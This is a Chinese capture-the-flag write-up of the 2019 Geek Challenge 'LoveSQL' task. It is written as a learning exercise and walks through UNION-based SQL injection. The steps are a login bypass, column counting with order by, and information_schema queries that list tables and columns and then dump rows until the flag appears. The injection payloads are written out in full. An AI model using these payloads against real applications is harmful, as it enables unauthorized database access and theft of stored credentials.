极客大挑战2019_LoveSQL

​ 这个题主要考查的是通过information_schemas数据库的sql注入。本人小白一个,有错希望大佬指出,如有更好的方法欢迎交流。

  • 首先使用万能密码看看会不会返回什么有用信息

image-20211114143435804

  • 返回了一个用户名和密码,然后我们可以根据正确的账号密码,由order by确定返回的信息的列数

image-20211114143522866

  • 由于到order by 4失败,而order by 3成功,所以确定列数是3

image-20211114144046034

image-20211114144114047

  • 构建payload:-1’ union select 1,database(),version()# 获得数据库的名字geek

image-20211114144519129

  • 访问information_schema数据库查看geek数据库有哪些表,payload为:

    -1’ union select 1,table_schema,group_concat(table_name) from information_schema.tables where table_schema=’geek’ #

    报出两个表,然后再查看表结构

image-20211114150213614

  • 分别查看geekuser,l0ve1ysq1表结构,payload为:

    -1’ union select 1,table_name,group_concat(column_name) from information_schema.columns where table_name = ‘geekuser’#

    geekuser表有id,username,paasword三个字段名

    l0ve1ysq1表有id,username,password三个字段名

image-20211114150943034

image-20211114151311410

  • 接下来就是查询表中的数据了,由于每次只能显示一行结果,所以要用limit 来逐个查询。payload为 -1’ union select * from geekuser limit 0,1#

    根据下图可得geekuser表就一行信息

image-20211114152541788

image-20211114152403799

  • 接下来暴力破解l0ve1ysq1表 payload为-1’ union select * from l0ve1ysq1 limit 0,1#。在第15行找到flag

image-20211114154321739